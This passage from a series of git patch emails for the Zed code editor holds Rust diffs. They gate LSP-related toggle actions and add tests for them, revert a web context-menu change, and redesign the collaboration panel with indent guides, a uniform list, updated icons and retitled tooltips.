permanently turning off diagnostics for the current file/editor,
addressing issue #60958.

---------

Signed-off-by: Counterfit IQ <logicye@proton.me>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/editor/src/diagnostics.rs | 141 ++++++++++++++++++++++++++++++-
 crates/editor/src/editor.rs      |   2 +-
 crates/editor/src/element.rs     |   8 +-
 3 files changed, 144 insertions(+), 7 deletions(-)

diff --git a/crates/editor/src/diagnostics.rs b/crates/editor/src/diagnostics.rs
index a1e40bdb392599..3e988781eb7f67 100644
--- a/crates/editor/src/diagnostics.rs
+++ b/crates/editor/src/diagnostics.rs
@@ -600,11 +600,14 @@ impl Editor {
 #[cfg(test)]
 mod tests {
     use crate::{
-        actions::{ToggleDiagnostics, ToggleInlineDiagnostics},
+        actions::{
+            ToggleCodeLens, ToggleDiagnostics, ToggleInlayHints, ToggleInlineDiagnostics,
+            ToggleSemanticHighlights,
+        },
         editor_tests::init_test,
         test::editor_test_context::EditorTestContext,
     };
-    use gpui::{TestAppContext, UpdateGlobal};
+    use gpui::{Action, TestAppContext, UpdateGlobal};
     use indoc::indoc;
     use language::DiagnosticSourceKind;
     use lsp::LanguageServerId;
@@ -750,4 +753,138 @@ mod tests {
             );
         });
     }
+
+    #[gpui::test]
+    async fn test_actions_gated_by_lsp_data(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+        let mut cx = EditorTestContext::new(cx).await;
+        let lsp_data_actions: [&dyn Action; 4] = [
+            &ToggleDiagnostics,
+            &ToggleInlayHints,
+            &ToggleCodeLens,
+            &ToggleSemanticHighlights,
+        ];
+
+        cx.update_editor(|editor, _, cx| {
+            editor.enable_lsp_data = false;
+            cx.notify();
+        });
+        cx.update(|window, cx| {
+            for action in lsp_data_actions {
+                assert!(
+                    !window.is_action_available(action, cx),
+                    "{} should not be available when LSP data is disabled",
+                    action.name()
+                );
+            }
+        });
+
+        cx.update_editor(|editor, _, cx| {
+            editor.enable_lsp_data = true;
+            cx.notify();
+        });
+        cx.update(|window, cx| {
+            for action in lsp_data_actions {
+                assert!(
+                    window.is_action_available(action, cx),
+                    "{} should be available again after re-enabling LSP data",
+                    action.name()
+                );
+            }
+        });
+    }
+
+    #[gpui::test]
+    async fn test_toggle_diagnostics_remains_available_after_disabling_diagnostics(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx, |_| {});
+        let mut cx = EditorTestContext::new(cx).await;
+
+        cx.dispatch_action(ToggleDiagnostics);
+        cx.update_editor(|editor, window, cx| {
+            assert!(
+                !editor.diagnostics_enabled(),
+                "diagnostics should be disabled after dispatching ToggleDiagnostics"
+            );
+            assert!(
+                window.is_action_available(&ToggleDiagnostics, cx),
+                "ToggleDiagnostics should still be available after disabling diagnostics, \
+                 so the user can re-enable it"
+            );
+        });
+
+        cx.dispatch_action(ToggleDiagnostics);
+        cx.update_editor(|editor, window, cx| {
+            assert!(
+                editor.diagnostics_enabled(),
+                "diagnostics should be re-enabled after a second dispatch of ToggleDiagnostics"
+            );
+            assert!(
+                window.is_action_available(&ToggleDiagnostics, cx),
+                "ToggleDiagnostics should be available again after re-enabling diagnostics"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_toggle_inline_diagnostics_availability(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+        let mut cx = EditorTestContext::new(cx).await;
+
+        cx.dispatch_action(ToggleDiagnostics);
+        cx.update(|window, cx| {
+            assert!(
+                !window.is_action_available(&ToggleInlineDiagnostics, cx),
+                "ToggleInlineDiagnostics should not be available when diagnostics are disabled"
+            );
+        });
+
+        cx.dispatch_action(ToggleDiagnostics);
+        cx.update(|window, cx| {
+            assert!(
+                window.is_action_available(&ToggleInlineDiagnostics, cx),
+                "ToggleInlineDiagnostics should be available again after re-enabling diagnostics"
+            );
+        });
+
+        let initial_show = cx.update_editor(|editor, _, _| editor.show_inline_diagnostics());
+        cx.dispatch_action(ToggleInlineDiagnostics);
+        cx.update_editor(|editor, window, cx| {
+            assert_eq!(
+                editor.show_inline_diagnostics(),
+                !initial_show,
+                "inline diagnostics visibility should flip after dispatching ToggleInlineDiagnostics"
+            );
+            assert!(
+                window.is_action_available(&ToggleInlineDiagnostics, cx),
+                "ToggleInlineDiagnostics should still be available after toggling it, \
+                 so the user can toggle it back"
+            );
+        });
+
+        cx.dispatch_action(ToggleInlineDiagnostics);
+        cx.update_editor(|editor, window, cx| {
+            assert_eq!(
+                editor.show_inline_diagnostics(),
+                initial_show,
+                "inline diagnostics visibility should flip back after a second dispatch of ToggleInlineDiagnostics"
+            );
+            assert!(
+                window.is_action_available(&ToggleInlineDiagnostics, cx),
+                "ToggleInlineDiagnostics should remain available after toggling it back"
+            );
+        });
+
+        cx.update_editor(|editor, _, cx| {
+            editor.disable_inline_diagnostics();
+            cx.notify();
+        });
+        cx.update(|window, cx| {
+            assert!(
+                !window.is_action_available(&ToggleInlineDiagnostics, cx),
+                "ToggleInlineDiagnostics should not be available in editors with inline diagnostics permanently disabled"
+            );
+        });
+    }
 }
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 6f8fec7b37646f..682ffcbe27f7cf 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -10793,7 +10793,7 @@ impl Editor {
         self.read_scroll_position_from_db(item_id, workspace_id, window, cx);
     }
 
-    fn lsp_data_enabled(&self) -> bool {
+    pub(crate) fn lsp_data_enabled(&self) -> bool {
         self.enable_lsp_data && self.mode().is_full()
     }
 
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index bfc39e3f465d79..e3e1c145626550 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -483,12 +483,12 @@ impl EditorElement {
         register_action(editor, window, Editor::toggle_line_numbers);
         register_action(editor, window, Editor::toggle_relative_line_numbers);
         register_action(editor, window, Editor::toggle_indent_guides);
-        register_action(editor, window, Editor::toggle_inlay_hints);
         register_action(editor, window, Editor::toggle_inline_values);
-        register_action(editor, window, Editor::toggle_code_lens_action);
-        register_action(editor, window, Editor::toggle_semantic_highlights);
         register_action(editor, window, Editor::toggle_edit_predictions);
-        if editor.read(cx).diagnostics_enabled() {
+        if editor.read(cx).lsp_data_enabled() {
+            register_action(editor, window, Editor::toggle_inlay_hints);
+            register_action(editor, window, Editor::toggle_code_lens_action);
+            register_action(editor, window, Editor::toggle_semantic_highlights);
             register_action(editor, window, Editor::toggle_diagnostics);
         }
         if editor.read(cx).inline_diagnostics_enabled() {

From eeac1cfa2110221b7e2e30e5a0cf473733ff2d48 Mon Sep 17 00:00:00 2001
From: Baris Palaska <barispalaska@gmail.com>
Date: Tue, 21 Jul 2026 18:14:06 +0000
Subject: [PATCH 611/772] Revert "gpui_web: Only cancel the native context menu
 when the app claims the right-click" (#61403)

Reverts zed-industries/zed#60892

Realised this is probably not the desired behavior. Context menu is not
really useful when the app is full canvas. I think it's better to not
have the browser context menu on web at all. My bad and sorry for the
hassle!
---
 crates/gpui_web/src/events.rs | 15 ++-------------
 crates/gpui_web/src/window.rs |  2 --
 2 files changed, 2 insertions(+), 15 deletions(-)

diff --git a/crates/gpui_web/src/events.rs b/crates/gpui_web/src/events.rs
index 31a37d527f1d7d..08434aada41589 100644
--- a/crates/gpui_web/src/events.rs
+++ b/crates/gpui_web/src/events.rs
@@ -151,21 +151,13 @@ impl WebWindowInner {
                 current_state.modifiers = modifiers;
             }
 
-            let result = this.dispatch_input(PlatformInput::MouseDown(MouseDownEvent {
+            this.dispatch_input(PlatformInput::MouseDown(MouseDownEvent {
                 button,
                 position,
                 modifiers,
                 click_count,
                 first_mouse: false,
             }));
-
-            // The browser fires `contextmenu` after this event; remember whether
-            // the app claimed the right-click (e.g. opened its own menu) so the
-            // contextmenu listener cancels the native menu only in that case.
-            if button == MouseButton::Right {
-                let claimed = result.is_some_and(|result| !result.propagate);
-                this.app_claimed_right_click.set(claimed);
-            }
         })
     }
 
@@ -279,12 +271,9 @@ impl WebWindowInner {
     }
 
     fn register_context_menu(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
-        let this = Rc::clone(self);
         self.listen("contextmenu", move |event: JsValue| {
             let event: web_sys::Event = event.unchecked_into();
-            if this.app_claimed_right_click.replace(false) {
-                event.prevent_default();
-            }
+            event.prevent_default();
         })
     }
 
diff --git a/crates/gpui_web/src/window.rs b/crates/gpui_web/src/window.rs
index 5f4223572b33be..b9399d32e63e0f 100644
--- a/crates/gpui_web/src/window.rs
+++ b/crates/gpui_web/src/window.rs
@@ -55,7 +55,6 @@ pub(crate) struct WebWindowInner {
     pub(crate) last_physical_size: Cell<(u32, u32)>,
     pub(crate) notify_scale: Cell<bool>,
     pub(crate) is_composing: Cell<bool>,
-    pub(crate) app_claimed_right_click: Cell<bool>,
     mql_handle: RefCell<Option<MqlHandle>>,
     pending_physical_size: Cell<Option<(u32, u32)>>,
 }
@@ -183,7 +182,6 @@ impl WebWindow {
             last_physical_size: Cell::new((0, 0)),
             notify_scale: Cell::new(false),
             is_composing: Cell::new(false),
-            app_claimed_right_click: Cell::new(false),
             mql_handle: RefCell::new(None),
             pending_physical_size: Cell::new(None),
         });

From cf61b7ccc5d540fb2797fefd5e8e57a184d925e6 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 21 Jul 2026 19:34:49 +0000
Subject: [PATCH 612/772] collab_panel: Add indentation guides and some other
 design adjustements (#61397)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR converts the collab panel list from a GPUI list into a uniform
list, which was a requirement for the indent guides to be displayed. I
have been wanting to add that to the channels list for a while, and
finally carved out some time. Ended up adding some more tweaks here and
there as overall improvements (e.g., using a lock icon for private
icons) and to make the indent guide fully work design-wise given we have
the chevron buttons rendering on top of them.

Here's how it looks:

<img width="600" alt="Screenshot 2026-07-21 at 10  08@2x"
src="https://github.com/user-attachments/assets/351b7e0f-aeb4-4c79-8177-7f1cdf635fbe"
/>

Release Notes:

- N/A

---------

Co-authored-by: MrSubidubi <finn@zed.dev>
---
 assets/icons/on_call.svg                     |   6 +-
 crates/collab_ui/src/collab_panel.rs         | 388 +++++++++++++------
 crates/ui/src/components/avatar.rs           |  29 +-
 crates/ui/src/components/disclosure.rs       |  33 +-
 crates/ui/src/components/list/list_header.rs |  13 +-
 5 files changed, 318 insertions(+), 151 deletions(-)

diff --git a/assets/icons/on_call.svg b/assets/icons/on_call.svg
index 66e5d71304fc9f..2e86c5d6605701 100644
--- a/assets/icons/on_call.svg
+++ b/assets/icons/on_call.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M9.23593 2.55334C10.3635 2.55334 11.4448 3.00126 12.2421 3.79854C13.0394 4.59583 13.4873 5.67718 13.4873 6.80472" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.23593 4.44281C9.86234 4.44281 10.4631 4.69165 10.906 5.13459C11.349 5.57752 11.5978 6.17828 11.5978 6.80468" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8.97096 10.421C9.08042 10.4713 9.20373 10.4828 9.32059 10.4536C9.43745 10.4244 9.54088 10.3563 9.61385 10.2604L9.802 10.014C9.90073 9.88235 10.0288 9.7755 10.1759 9.7019C10.3231 9.62831 10.4854 9.59 10.65 9.59H12.24C12.5211 9.59 12.7907 9.70167 12.9895 9.90046C13.1883 10.0993 13.3 10.3689 13.3 10.65V12.24C13.3 12.5211 13.1883 12.7907 12.9895 12.9895C12.7907 13.1883 12.5211 13.3 12.24 13.3C9.70983 13.3 7.2833 12.2949 5.49421 10.5058C3.70511 8.7167 2.70001 6.29017 2.70001 3.76001C2.70001 3.47888 2.81169 3.20927 3.01048 3.01048C3.20927 2.81169 3.47888 2.70001 3.76001 2.70001H5.35001C5.63113 2.70001 5.90075 2.81169 6.09954 3.01048C6.29833 3.20927 6.41 3.47888 6.41 3.76001V5.35001C6.41 5.51457 6.37169 5.67687 6.2981 5.82405C6.2245 5.97124 6.11765 6.09927 5.986 6.198L5.73797 6.38403C5.64067 6.45833 5.57209 6.56401 5.54387 6.68314C5.51566 6.80226 5.52956 6.92748 5.58321 7.03752C6.30754 8.50873 7.49885 9.69854 8.97096 10.421Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9.5 3C10.3409 3.22145 11.108 3.66214 11.723 4.27705C12.3379 4.89196 12.7785 5.65906 13 6.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9 5C10.0325 5.27625 10.7237 5.9675 11 7" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9.59842 9.46784C9.66164 9.42577 9.73436 9.40013 9.81 9.39326C9.88563 9.38638 9.96178 9.39848 10.0316 9.42846L12.7229 10.6343C12.8136 10.6731 12.8893 10.7402 12.9387 10.8256C12.988 10.9109 13.0084 11.01 12.9968 11.108C12.9081 11.7706 12.5819 12.3784 12.0786 12.8184C11.5754 13.2585 10.9295 13.5008 10.261 13.5003C8.20257 13.5003 6.22847 12.6826 4.77295 11.227C3.31744 9.77153 2.49974 7.79743 2.49974 5.73902C2.49923 5.07053 2.74153 4.42461 3.18157 3.92137C3.62161 3.41814 4.22944 3.09185 4.89203 3.00319C4.98997 2.99155 5.08906 3.01195 5.17444 3.06133C5.25983 3.11071 5.32693 3.18642 5.36569 3.27711L6.57154 5.97072C6.60116 6.0399 6.61323 6.11534 6.60666 6.19031C6.60008 6.26528 6.57508 6.33747 6.53387 6.40044L5.31433 7.85054C5.27107 7.91581 5.24549 7.9912 5.24009 8.06932C5.23469 8.14744 5.24965 8.22563 5.28351 8.29624C5.75546 9.26239 6.75415 10.2491 7.72317 10.7165C7.79415 10.7502 7.87269 10.7648 7.95105 10.7589C8.02941 10.753 8.10488 10.7268 8.17001 10.6828L9.59842 9.46784Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/crates/collab_ui/src/collab_panel.rs b/crates/collab_ui/src/collab_panel.rs
index f9baa1d475a8e1..30217a1e1f6374 100644
--- a/crates/collab_ui/src/collab_panel.rs
+++ b/crates/collab_ui/src/collab_panel.rs
@@ -14,10 +14,10 @@ use editor::{Editor, EditorElement, EditorStyle};
 use fuzzy::{StringMatch, StringMatchCandidate, match_strings};
 use gpui::{
     AnyElement, App, AsyncWindowContext, Bounds, ClickEvent, ClipboardItem, DismissEvent, Div,
-    Empty, Entity, EventEmitter, FocusHandle, Focusable, FontStyle, KeyContext, ListOffset,
-    ListState, MouseDownEvent, Pixels, Point, PromptLevel, SharedString, Subscription, Task,
-    TextStyle, WeakEntity, Window, actions, anchored, canvas, deferred, div, fill, list, point,
-    prelude::*, px,
+    Empty, Entity, EventEmitter, FocusHandle, Focusable, FontStyle, KeyContext, MouseButton,
+    MouseDownEvent, Pixels, Point, PromptLevel, ScrollStrategy, SharedString, Subscription, Task,
+    TextStyle, UniformListScrollHandle, WeakEntity, Window, actions, anchored, canvas, deferred,
+    div, fill, point, prelude::*, px, size, uniform_list,
 };
 
 use menu::{Cancel, Confirm, SecondaryConfirm, SelectNext, SelectPrevious};
@@ -30,13 +30,14 @@ use rpc::{
 use serde::{Deserialize, Serialize};
 use settings::Settings;
 use smallvec::SmallVec;
-use std::{mem, sync::Arc, time::Duration};
+use std::{mem, ops::Range, sync::Arc, time::Duration};
 use theme::ActiveTheme;
 use theme_settings::ThemeSettings;
 use ui::{
-    Avatar, AvatarAvailabilityIndicator, CollabNotification, ContextMenu, CopyButton, Facepile,
-    HighlightedLabel, IconButtonShape, Indicator, ListHeader, ListItem, Tab, TintColor, Tooltip,
-    prelude::*, tooltip_container,
+    Avatar, AvatarAvailabilityIndicator, CollabNotification, ContextMenu, CopyButton,
+    DecoratedIcon, Disclosure, Facepile, HighlightedLabel, IconButtonShape, IconDecoration,
+    IconDecorationKind, IndentGuideColors, Indicator, ListHeader, ListItem, ScrollAxes, Scrollbars,
+    Tab, TintColor, Tooltip, WithScrollbar, prelude::*, tooltip_container,
 };
 use util::{ResultExt, TryFutureExt, maybe};
 use workspace::{
@@ -51,6 +52,8 @@ use workspace::{
 
 const FILTER_OCCUPIED_CHANNELS_KEY: &str = "filter_occupied_channels";
 const FAVORITE_CHANNELS_KEY: &str = "favorite_channels";
+const COLLABORATION_PANEL_KEY: &str = "CollaborationPanel";
+const TOAST_DURATION: Duration = Duration::from_secs(5);
 
 actions!(
     collab_panel,
@@ -91,8 +94,10 @@ struct ChannelMoveClipboard {
     channel_id: ChannelId,
 }
 
-const COLLABORATION_PANEL_KEY: &str = "CollaborationPanel";
-const TOAST_DURATION: Duration = Duration::from_secs(5);
+struct ContactContextMenu {
+    user_id: u64,
+    via_ellipsis_button: bool,
+}
 
 pub fn init(cx: &mut App) {
     cx.observe_new(|workspace: &mut Workspace, _, _| {
@@ -257,7 +262,8 @@ pub struct CollabPanel {
     pending_favorites_serialization: Task<Option<()>>,
     pending_filter_serialization: Task<Option<()>>,
     context_menu: Option<(Entity<ContextMenu>, Point<Pixels>, Subscription)>,
-    list_state: ListState,
+    contact_context_menu: Option<ContactContextMenu>,
+    scroll_handle: UniformListScrollHandle,
     filter_editor: Entity<Editor>,
     channel_name_editor: Entity<Editor>,
     channel_editing_state: Option<ChannelEditingState>,
@@ -273,6 +279,7 @@ pub struct CollabPanel {
     collapsed_channels: Vec<ChannelId>,
     filter_occupied_channels: bool,
     workspace: WeakEntity<Workspace>,
+    hovered_channel: Option<(ChannelId, bool)>,
     notification_store: Entity<NotificationStore>,
     current_notification_toast: Option<(u64, Task<()>)>,
     mark_as_read_tasks: HashMap<u64, Task<anyhow::Result<()>>>,
@@ -391,12 +398,14 @@ impl CollabPanel {
             let mut this = Self {
                 focus_handle: cx.focus_handle(),
                 channel_clipboard: None,
+                hovered_channel: None,
                 fs: workspace.app_state().fs.clone(),
                 pending_panel_serialization: Task::ready(None),
                 pending_favorites_serialization: Task::ready(None),
                 pending_filter_serialization: Task::ready(None),
                 context_menu: None,
-                list_state: ListState::new(0, gpui::ListAlignment::Top, px(1000.)),
+                contact_context_menu: None,
+                scroll_handle: UniformListScrollHandle::new(),
                 channel_name_editor,
                 filter_editor,
                 entries: Vec::default(),
@@ -572,7 +581,8 @@ impl CollabPanel {
     }
 
     fn scroll_to_item(&mut self, ix: usize) {
-        self.list_state.scroll_to_reveal_item(ix)
+        self.scroll_handle
+            .scroll_to_item(ix, ScrollStrategy::Nearest)
     }
 
     fn update_entries(&mut self, select_same_item: bool, cx: &mut Context<Self>) {
@@ -1068,54 +1078,75 @@ impl CollabPanel {
             });
         }
 
-        let old_scroll_top = self.list_state.logical_scroll_top();
-        self.list_state.reset(self.entries.len());
-
         if scroll_to_top {
-            self.list_state.scroll_to(ListOffset::default());
-        } else {
-            // Attempt to maintain the same scroll position.
-            if let Some(old_top_entry) = old_entries.get(old_scroll_top.item_ix) {
-                let new_scroll_top = self
+            let state = self.scroll_handle.0.borrow();
+            state.base_handle.set_offset(Point::default());
+        } else if let Some(row_height) = self.row_height(old_entries.len()) {
+            // Attempt to maintain the same scroll position. Since every row has
+            // the same height, the scroll offset can be translated to and from a
+            // logical entry index plus a pixel remainder.
+            let old_scroll_y = -self.scroll_handle.0.borrow().base_handle.offset().y;
+            let old_top_ix = (old_scroll_y / row_height) as usize;
+            let offset_in_item = old_scroll_y - row_height * old_top_ix as f32;
+
+            if let Some(old_top_entry) = old_entries.get(old_top_ix) {
+                let new_scroll_y = self
                     .entries
                     .iter()
                     .position(|entry| entry == old_top_entry)
-                    .map(|item_ix| ListOffset {
-                        item_ix,
-                        offset_in_item: old_scroll_top.offset_in_item,
-                    })
+                    .map(|item_ix| row_height * item_ix as f32 + offset_in_item)
                     .or_else(|| {
-                        let entry_after_old_top = old_entries.get(old_scroll_top.item_ix + 1)?;
+                        let entry_after_old_top = old_entries.get(old_top_ix + 1)?;
                         let item_ix = self
                             .entries
                             .iter()
                             .position(|entry| entry == entry_after_old_top)?;
-                        Some(ListOffset {
-                            item_ix,
-                            offset_in_item: Pixels::ZERO,
-                        })
+                        Some(row_height * item_ix as f32)
                     })
                     .or_else(|| {
-                        let entry_before_old_top =
-                            old_entries.get(old_scroll_top.item_ix.saturating_sub(1))?;
+                        let entry_before_old_top = old_entries.get(old_top_ix.saturating_sub(1))?;
                         let item_ix = self
                             .entries
                             .iter()
                             .position(|entry| entry == entry_before_old_top)?;
-                        Some(ListOffset {
-                            item_ix,
-                            offset_in_item: Pixels::ZERO,
-                        })
-                    });
+                        Some(row_height * item_ix as f32)
+                    })
+                    .unwrap_or(old_scroll_y);
 
-                self.list_state
-                    .scroll_to(new_scroll_top.unwrap_or(old_scroll_top));
+                let state = self.scroll_handle.0.borrow();
+                let mut offset = state.base_handle.offset();
+                offset.y = -new_scroll_y;
+                state.base_handle.set_offset(offset);
             }
         }
 
         cx.notify();
     }
 
+    fn row_height(&self, item_count: usize) -> Option<Pixels> {
+        if item_count == 0 {
+            return None;
+        }
+        let state = self.scroll_handle.0.borrow();
+        let height = state.last_item_size?.contents.height / item_count as f32;
+        (height > px(0.)).then_some(height)
+    }
+
+    fn bounds_for_item(&self, ix: usize) -> Option<Bounds<Pixels>> {
+        let row_height = self.row_height(self.entries.len())?;
+        let state = self.scroll_handle.0.borrow();
+        let list_bounds = state.base_handle.bounds();
+        let origin = list_bounds.origin
+            + point(
+                px(0.),
+                state.base_handle.offset().y + row_height * ix as f32,
+            );
+        Some(Bounds::new(
+            origin,
+            size(list_bounds.size.width, row_height),
+        ))
+    }
+
     fn render_call_participant(
         &self,
         user: &Arc<User>,
@@ -1650,9 +1681,14 @@ impl CollabPanel {
         &mut self,
         position: Point<Pixels>,
         contact: Arc<Contact>,
+        via_ellipsis_button: bool,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
+        self.contact_context_menu = Some(ContactContextMenu {
+            user_id: contact.user.legacy_id,
+            via_ellipsis_button,
+        });
         let this = cx.entity();
         let in_room = ActiveCall::global(cx).read(cx).room().is_some();
 
@@ -1701,6 +1737,7 @@ impl CollabPanel {
                     cx.focus_self(window);
                 }
                 this.context_menu.take();
+                this.contact_context_menu.take();
                 cx.notify();
             },
         );
@@ -2354,10 +2391,7 @@ impl CollabPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let Some(bounds) = self
-            .selection
-            .and_then(|ix| self.list_state.bounds_for_item(ix))
-        else {
+        let Some(bounds) = self.selection.and_then(|ix| self.bounds_for_item(ix)) else {
             return;
         };
 
@@ -2374,7 +2408,7 @@ impl CollabPanel {
         };
 
         if let Some(contact) = self.selected_contact() {
-            self.deploy_contact_context_menu(bounds.center(), contact, window, cx);
+            self.deploy_contact_context_menu(bounds.center(), contact, false, window, cx);
             cx.stop_propagation();
         }
     }
@@ -2729,13 +2763,14 @@ impl CollabPanel {
                 channel,
                 depth,
                 has_children,
+                is_favorite,
                 string_match,
-                ..
             } => self
                 .render_channel(
                     &channel,
                     depth,
                     has_children,
+                    is_favorite,
                     is_selected,
                     ix,
                     string_match.as_ref(),
@@ -2781,7 +2816,7 @@ impl CollabPanel {
         }
     }
 
-    fn render_signed_in(&mut self, _: &mut Window, cx: &mut Context<Self>) -> Div {
+    fn render_signed_in(&mut self, window: &mut Window, cx: &mut Context<Self>) -> Div {
         self.channel_store.update(cx, |channel_store, _| {
             channel_store.initialize();
         });
@@ -2817,11 +2852,40 @@ impl CollabPanel {
                     }),
             )
             .child(
-                list(
-                    self.list_state.clone(),
-                    cx.processor(Self::render_list_entry),
-                )
-                .size_full(),
+                div()
+                    .size_full()
+                    .child(
+                        uniform_list(
+                            "collab-panel-entries",
+                            self.entries.len(),
+                            cx.processor(|this, range: Range<usize>, window, cx| {
+                                range
+                                    .map(|ix| this.render_list_entry(ix, window, cx))
+                                    .collect()
+                            }),
+                        )
+                        .size_full()
+                        .track_scroll(&self.scroll_handle)
+                        .with_decoration(
+                            ui::indent_guides(px(20.), IndentGuideColors::panel(cx))
+                                .with_left_offset(ui::LIST_ITEM_INDENT_GUIDE_LEFT_OFFSET)
+                                .with_compute_indents_fn(cx.entity(), |this, range, _, _| {
+                                    range
+                                        .map(|ix| match this.entries.get(ix) {
+                                            Some(ListEntry::Channel { depth, .. })
+                                            | Some(ListEntry::ChannelEditor { depth }) => *depth,
+                                            _ => 0,
+                                        })
+                                        .collect()
+                                }),
+                        ),
+                    )
+                    .custom_scrollbars(
+                        Scrollbars::new(ScrollAxes::Vertical)
+                            .tracked_scroll_handle(&self.scroll_handle),
+                        window,
+                        cx,
+                    ),
             )
     }
 
@@ -2878,10 +2942,10 @@ impl CollabPanel {
                     channel_link = Some(channel.link(cx));
                     (channel_icon, channel_tooltip_text) = match channel.visibility {
                         proto::ChannelVisibility::Public => {
-                            (Some("icons/public.svg"), Some("Copy public channel link."))
+                            (Some(IconName::Hash), Some("Copy Public Channel Link"))
                         }
                         proto::ChannelVisibility::Members => {
-                            (Some("icons/hash.svg"), Some("Copy private channel link."))
+                            (Some(IconName::Lock), Some("Copy Private Channel Link"))
                         }
                     };
 
@@ -2958,7 +3022,7 @@ impl CollabPanel {
                     .on_click(
                         cx.listener(|this, _, window, cx| this.toggle_contact_finder(window, cx)),
                     )
-                    .tooltip(Tooltip::text("Search for new contact"))
+                    .tooltip(Tooltip::text("Search for New Contact"))
                     .into_any_element(),
             ),
             Section::Channels => {
@@ -3006,14 +3070,15 @@ impl CollabPanel {
             | Section::Offline => true,
         };
 
-        h_flex().w_full().group("section-header").child(
+        h_flex().group("section-header").w_full().child(
             ListHeader::new(text)
                 .when(can_collapse, |header| {
-                    header.toggle(Some(!is_collapsed)).on_toggle(cx.listener(
-                        move |this, _, _, cx| {
+                    header
+                        .toggle(Some(!is_collapsed))
+                        .disclosure_shape(IconButtonShape::Square)
+                        .on_toggle(cx.listener(move |this, _, _, cx| {
                             this.toggle_section_expanded(section, cx);
-                        },
-                    ))
+                        }))
                 })
                 .inset(true)
                 .end_slot::<AnyElement>(button)
@@ -3031,29 +3096,67 @@ impl CollabPanel {
         let online = contact.online;
         let busy = contact.busy || calling;
         let username = contact.user.username.clone();
+        let open_context_menu = self
+            .contact_context_menu
+            .as_ref()
+            .filter(|menu| menu.user_id == contact.user.legacy_id);
+        let context_menu_open_via_button =
+            open_context_menu.is_some_and(|menu| menu.via_ellipsis_button);
+
+        let context_menu_open_via_row =
+            open_context_menu.is_some_and(|menu| !menu.via_ellipsis_button);
+
         let item = ListItem::new(username.clone())
             .indent_level(1)
             .indent_step_size(px(20.))
-            .toggle_state(is_selected)
+            .toggle_state(is_selected || context_menu_open_via_row)
             .child(
                 h_flex()
                     .w_full()
                     .justify_between()
-                    .child(render_participant_name_and_handle(&contact.user))
+                    .child(
+                        h_flex()
+                            .pl_2()
+                            .gap_1p5()
+                            .child(
+                                Avatar::new(contact.user.avatar_uri.clone())
+                                    .indicator::<AvatarAvailabilityIndicator>(if online {
+                                    let background = if is_selected || context_menu_open_via_row {
+                                        cx.theme().colors().ghost_element_selected
+                                    } else {
+                                        cx.theme().colors().panel_background
+                                    };
+                                    Some(
+                                        AvatarAvailabilityIndicator::new(match busy {
+                                            true => ui::CollaboratorAvailability::Busy,
+                                            false => ui::CollaboratorAvailability::Free,
+                                        })
+                                        .border_color(background),
+                                    )
+                                } else {
+                                    None
+                                }),
+                            )
+                            .child(render_participant_name_and_handle(&contact.user)),
+                    )
                     .when(calling, |el| {
-                        el.child(Label::new("Calling").color(Color::Muted))
+                        el.child(Label::new("Calling…").color(Color::Muted))
                     })
                     .when(!calling, |el| {
                         el.child(
                             IconButton::new("contact context menu", IconName::Ellipsis)
                                 .icon_color(Color::Muted)
-                                .visible_on_hover("")
+                                .toggle_state(context_menu_open_via_button)
+                                .when(!context_menu_open_via_button, |this| {
+                                    this.visible_on_hover("")
+                                })
                                 .on_click(cx.listener({
                                     let contact = contact.clone();
                                     move |this, event: &ClickEvent, window, cx| {
                                         this.deploy_contact_context_menu(
                                             event.position(),
                                             contact.clone(),
+                                            true,
                                             window,
                                             cx,
                                         );
@@ -3065,40 +3168,36 @@ impl CollabPanel {
             .on_secondary_mouse_down(cx.listener({
                 let contact = contact.clone();
                 move |this, event: &MouseDownEvent, window, cx| {
-                    this.deploy_contact_context_menu(event.position, contact.clone(), window, cx);
+                    this.deploy_contact_context_menu(
+                        event.position,
+                        contact.clone(),
+                        false,
+                        window,
+                        cx,
+                    );
                 }
-            }))
-            .start_slot(
-                // todo handle contacts with no avatar
-                Avatar::new(contact.user.avatar_uri.clone())
-                    .indicator::<AvatarAvailabilityIndicator>(if online {
-                        Some(AvatarAvailabilityIndicator::new(match busy {
-                            true => ui::CollaboratorAvailability::Busy,
-                            false => ui::CollaboratorAvailability::Free,
-                        }))
-                    } else {
-                        None
-                    }),
-            );
+            }));
 
         div()
             .id(username.clone())
             .group("")
             .child(item)
-            .tooltip(move |_, cx| {
-                let text = if !online {
-                    format!(" {} is offline", &username)
-                } else if busy {
-                    format!(" {} is on a call", &username)
-                } else {
-                    let room = ActiveCall::global(cx).read(cx).room();
-                    if room.is_some() {
-                        format!("Invite {} to join call", &username)
+            .when(open_context_menu.is_none(), |this| {
+                this.tooltip(move |_, cx| {
+                    let text = if !online {
+                        format!(" {} is Offline", &username)
+                    } else if busy {
+                        format!(" {} is on a Call", &username)
                     } else {
-                        format!("Call {}", &username)
-                    }
-                };
-                Tooltip::simple(text, cx)
